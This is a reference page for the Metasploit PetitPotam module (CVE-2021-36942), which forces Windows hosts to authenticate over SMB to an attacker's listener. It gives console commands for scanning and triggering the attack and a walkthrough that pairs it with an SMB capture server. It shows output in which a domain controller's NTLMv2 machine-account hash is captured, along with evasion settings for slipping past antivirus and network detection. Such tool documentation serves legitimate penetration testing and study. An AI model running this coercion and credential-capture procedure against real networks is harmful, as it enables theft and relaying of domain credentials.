PetitPotam - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/dcerpc/petitpotam metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: PetitPotam
Module: auxiliary/scanner/dcerpc/petitpotam
Source code: modules/auxiliary/scanner/dcerpc/petitpotam.rb
Disclosure date: -
Last modification time: 2022-06-30 15:12:23 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2021-36942

Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/dcerpc/petitpotam
msf auxiliary(petitpotam) > show options
    ... show and set options ...
msf auxiliary(petitpotam) > set RHOSTS ip-range
msf auxiliary(petitpotam) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(petitpotam) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(petitpotam) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(petitpotam) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.

Verification Steps


Example steps in this format (is also in the PR):

  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/scanner/dcerpc/petitpotam
  4. Set the RHOSTS and LISTENER options
  5. (Optional) Set the SMBUser, SMBPass for authentication
  6. (Optional) Set the PIPE and METHOD options to adjust the trigger vector
  7. Do: run

Options


LISTENER

The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host should be hosting some kind of capture or relaying service.

PIPE

The named pipe to use for triggering.

METHOD

The RPC method to use for triggering. If 'Automatic' is selected, then all methods will be tried until one appears successful.

Scenarios


Windows Server 2019

In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine account. The target is a 64-bit Windows Server 2019 domain controller.

msf6 > use auxiliary/server/capture/smb 
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/smb) > 
[*] Server is running. Listening on 0.0.0.0:445

msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/petitpotam 
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(scanner/dcerpc/petitpotam) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/dcerpc/petitpotam) > run

[*] 192.168.159.96:445    - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.96[\lsarpc] ...
[*] 192.168.159.96:445    - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.96[\lsarpc] ...
[*] 192.168.159.96:445    - Attempting to coerce authentication via EfsRpcOpenFileRaw

[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 192.168.250.237
[SMB] NTLMv2-SSP Username   : MSFLAB\WIN-3MSP8K2LCGC$
[SMB] NTLMv2-SSP Hash       : WIN-3MSP8K2LCGC$::MSFLAB:cd561910093ed145:aeaef46507cc87aecebb99717d5e8753:01010000000000000022f245ce16d801be5bf7c8b735b582000000000200120061006e006f006e0079006d006f00750073000100120061006e006f006e0079006d006f00750073000400120061006e006f006e0079006d006f00750073000300120061006e006f006e0079006d006f0075007300070008000022f245ce16d80106000400020000000800300030000000000000000000000000400000f12b37e798747bd58bfa63fc5b99630354f0c31717d6ec25bfa2214b4352b8530a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000

[+] 192.168.159.96:445    - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.96:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) >

Go back to menu.

Msfconsole Usage


Here is how the scanner/dcerpc/petitpotam auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/dcerpc/petitpotam

msf6 auxiliary(scanner/dcerpc/petitpotam) > show info

       Name: PetitPotam
     Module: auxiliary/scanner/dcerpc/petitpotam
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  GILLES Lionel
  Spencer McIntyre

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  LISTENER   192.168.204.170  yes       The host listening for the incoming connection
  METHOD     Automatic        yes       The RPC method to use for triggering (Accepted: Automatic, EfsRpcOpenFileRaw, EfsRpc
                                        EncryptFileSrv)
  PIPE       lsarpc           yes       The named pipe to use for triggering (Accepted: lsarpc, efsrpc, samr, lsass, netlogo
                                        n)
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Me
                                        tasploit
  RPORT      445              yes       The SMB service port (TCP)
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads (max one per host)

Description:
  Coerce an authentication attempt over SMB to other machines via 
  MS-EFSRPC methods.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-36942
  https://github.com/topotam/PetitPotam
  https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451

Module Options


This is a complete list of options available in the scanner/dcerpc/petitpotam auxiliary module:

msf6 auxiliary(scanner/dcerpc/petitpotam) > show options

Module options (auxiliary/scanner/dcerpc/petitpotam):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LISTENER   192.168.204.170  yes       The host listening for the incoming connection
   METHOD     Automatic        yes       The RPC method to use for triggering (Accepted: Automatic, EfsRpcOpenFileRaw, EfsRp
                                         cEncryptFileSrv)
   PIPE       lsarpc           yes       The named pipe to use for triggering (Accepted: lsarpc, efsrpc, samr, lsass, netlog
                                         on)
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
                                         etasploit
   RPORT      445              yes       The SMB service port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/dcerpc/petitpotam auxiliary module:

msf6 auxiliary(scanner/dcerpc/petitpotam) > show advanced

Module advanced options (auxiliary/scanner/dcerpc/petitpotam):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC responses
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is speci
                                                        fied)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM r
                                                        esponses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authe
                                                        ntication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when
                                                         the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2
                                                        _session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is tr
                                                        ue
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x o
                                                        nly). Note that when it is set to false, the SMB client will still e
                                                        ncrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed b
                                                        ut break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::ProtocolVersion    1,2,3              yes       One or a list of coma-separated SMB protocol versions to negotiate (
                                                        e.g. "1" or "1,2" or "2,3,1")
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT
                                                        , NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                        uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                        .2)
   ShowProgress            true               yes       Display progress messages during a scan
   ShowProgressPercent     10                 yes       The interval in percent that progress should be shown
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/dcerpc/petitpotam module can do:

msf6 auxiliary(scanner/dcerpc/petitpotam) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/dcerpc/petitpotam auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/dcerpc/petitpotam) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   DCERPC::fake_bind_multi       true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_appe  0                no        Set the number of UUIDs to append the target
   nd
   DCERPC::fake_bind_multi_prep  0                no        Set the number of UUIDs to prepend before the target
   end
   DCERPC::max_frag_size         4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio            rw               no        Use a different delivery method for accessing named pipes (Accep
                                                            ted: rw, trans)
   SMB::obscure_trans_pipe_leve  0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   l
   SMB::pad_data_level           0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level           0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion             false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size       1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size       1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size      1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size      1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size            0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid pipe: <PIPE>


Here is a relevant code snippet related to the "Invalid pipe: <PIPE>" error message:

68:	  def run_host(_ip)
69:	    connect
70:	    smb_login
71:	
72:	    handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
73:	    fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
74:	
75:	    handle = dcerpc_handle(
76:	      handle_args[:uuid],
77:	      handle_args.fetch(:version, '1.0'),
78:	      handle_args.fetch(:protocol, 'ncacn_np'),

Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful


Here is a relevant code snippet related to the "Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful" error message:

99:	      error_status = response.error_status.to_i
100:	      win32_error = ::WindowsError::Win32.find_by_retval(error_status).first
101:	      case win32_error
102:	      when ::WindowsError::Win32::ERROR_BAD_NETPATH
103:	        # this should be the response even if LISTENER was inaccessible
104:	        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
105:	        break
106:	      when nil
107:	        print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
108:	      else
109:	        print_status("Server responded with #{win32_error.name} (#{win32_error.description})")

Server responded with unknown error: 0x<VALUE>


Here is a relevant code snippet related to the "Server responded with unknown error: 0x<VALUE>" error message:

102:	      when ::WindowsError::Win32::ERROR_BAD_NETPATH
103:	        # this should be the response even if LISTENER was inaccessible
104:	        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
105:	        break
106:	      when nil
107:	        print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
108:	      else
109:	        print_status("Server responded with #{win32_error.name} (#{win32_error.description})")
110:	      end
111:	    end
112:	  end

Server responded with <WIN32_ERROR.NAME> (<WIN32_ERROR.DESCRIPTION>)


Here is a relevant code snippet related to the "Server responded with <WIN32_ERROR.NAME> (<WIN32_ERROR.DESCRIPTION>)" error message:

104:	        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
105:	        break
106:	      when nil
107:	        print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
108:	      else
109:	        print_status("Server responded with #{win32_error.name} (#{win32_error.description})")
110:	      end
111:	    end
112:	  end
113:	
114:	  def efs_call(name, **kwargs)

The <NAME> Encrypting File System RPC request failed (<E.MESSAGE>).


Here is a relevant code snippet related to the "The <NAME> Encrypting File System RPC request failed (<E.MESSAGE>)." error message:

115:	    request = EncryptingFileSystem.const_get("#{name}Request").new(**kwargs)
116:	
117:	    begin
118:	      raw_response = dcerpc.call(request.opnum, request.to_binary_s)
119:	    rescue Rex::Proto::DCERPC::Exceptions::Fault => e
120:	      print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."
121:	      return nil
122:	    end
123:	
124:	    EncryptingFileSystem.const_get("#{name}Response").read(raw_response)
125:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • GILLES Lionel
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.